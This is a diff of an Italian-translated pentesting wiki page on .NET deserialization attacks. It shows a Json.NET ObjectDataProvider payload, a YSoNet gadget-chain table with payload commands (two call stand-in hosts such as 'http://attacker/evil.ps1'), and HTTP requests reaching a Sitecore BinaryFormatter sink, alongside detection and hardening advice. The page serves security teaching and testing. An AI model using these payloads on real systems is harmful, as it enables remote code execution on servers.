 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 'MethodName':'Start',
@@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-In questo codice puoi **testare l'exploit**, basta eseguirlo e vedrai che viene eseguito un calc:
+In questo codice puoi **test the exploit**, eseguilo e vedrai che viene eseguito calc:
 ```java
 using System;
 using System.Text;
@@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
-## Catene di Gadget Avanzate .NET (YSoNet & ysoserial.net)
+## Catene di gadget .NET avanzate (YSoNet & ysoserial.net)
 
-La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue **deserializzazione .NET non sicura**. Strumenti moderni per red team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti malevoli pronti all'uso** per dozzine di gadget e formati di serializzazione.
+La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue una **deserializzazione .NET non sicura**. Strumenti moderni per red-team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti maligni pronti all'uso** per dozzine di gadget e formati di serializzazione.
 
-Di seguito è riportato un riferimento condensato delle catene più utili fornite con *YSoNet* insieme a una rapida spiegazione di come funzionano e comandi di esempio per generare i payload.
+Di seguito una referenza condensata delle catene più utili incluse in *YSoNet* insieme a una rapida spiegazione del loro funzionamento e comandi di esempio per generare i payload.
 
-| Catena di Gadget | Idea Chiave / Primitiva | Serializzatori Comuni | YSoNet one-liner |
-|------------------|-------------------------|-----------------------|------------------|
-| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegato punti a *qualsiasi* metodo fornito dall'attaccante (ad es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Sfrutta `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il filtraggio dei tipi .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | Sfrutta la **rappresentazione XML** legacy di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) collega i getter delle proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* un DLL fornito con `-c` | `Json.NET` senza tipo, `MessagePack` senza tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (revisione) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una variante conveniente `--xamlurl` per ospitare il XAML malevolo in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *ecc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` in `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| Gadget Chain | Idea chiave / Primaria | Serializzatori comuni | YSoNet one-liner |
+|--------------|------------------------|-----------------------|------------------|
+| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegate punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Abusa di `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il type-filtering di .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Sfrutta la rappresentazione **XML legacy** di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | Su runtime con WPF (> .NET 5) concatena getter di proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, poi *compila* o *carica* una DLL fornita con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una comoda variante `--xamlurl` per ospitare il XAML maligno da remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` dentro `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
-> Tutti i payload sono **scritti su *stdout*** per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (ad es. generatori di ViewState, codificatori base64, client HTTP).
+> Tutti i payload sono **written to *stdout*** di default, rendendo banale reindirizzarli verso altri strumenti (es. generatori ViewState, encoder base64, client HTTP).
 
-### Costruire / Installare YSoNet
+### Building / Installing YSoNet
 
-Se non sono disponibili binari precompilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente **PowerShell** one-liner configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*:
+Se non sono disponibili binari pre-compilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente one-liner in **PowerShell** configurerà un ambiente di build, clonerà il repository e compilerà tutto in *Release* mode:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -216,17 +216,48 @@ cd ysonet
 nuget restore ysonet.sln
 msbuild ysonet.sln -p:Configuration=Release
 ```
-Il `ysonet.exe` compilato può essere trovato sotto `ysonet/bin/Release/`.
+Il file compilato `ysonet.exe` si trova sotto `ysonet/bin/Release/`.
 
-### Rilevamento e Indurimento
-* **Rileva** processi figli inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (ad es. `MessagePack`, `Json.NET`).
-* Abilita e **applica il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personalizzato, `SerializationBinder`, *ecc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso.
-* Dove possibile, migra a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertitori basati su whitelist.
-* Blocca gli assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dall'essere caricati in processi web che non dovrebbero mai averne bisogno.
+### Rilevamento e hardening
+* **Rilevare** processi figlio inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (es. `MessagePack`, `Json.NET`).
+* Abilitare e **applicare il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso.
+* Dove possibile migrare a **`System.Text.Json`** o **`DataContractJsonSerializer`** con converter basati su whitelist.
+* Bloccare assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dal caricamento in processi web che non dovrebbero averne bisogno.
+
+## Sink reale: Sitecore convertToRuntimeHtml → BinaryFormatter
+
+Un sink .NET pratico raggiungibile nei flussi autenticati di Sitecore XP Content Editor:
+
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` invoca `new BinaryFormatter().Deserialize(...)`.
+- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, che cerca un elemento fratello con `id="{iframeId}_inner"` e legge un attributo `value` che viene trattato come dati serializzati codificati in base64. Il risultato viene castato a stringa e inserito nell'HTML.
+
+Minimal end‑to‑end (authenticated):
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc"></iframe>
+<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
+</html>
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+- Gadget: qualsiasi catena BinaryFormatter che restituisce una string (gli effetti collaterali vengono eseguiti durante la deserialization). Vedi YSoNet/ysoserial.net per generare payloads.
+
+Per una catena completa che inizia pre‑auth con HTML cache poisoning in Sitecore e conduce a questo sink:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
 
 ## Riferimenti
 - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
-- [ysoserial.net – strumento PoC originale](https://github.com/pwntester/ysoserial.net)
+- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
 - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
 
 {{#include ../../banners/hacktricks-training.md}}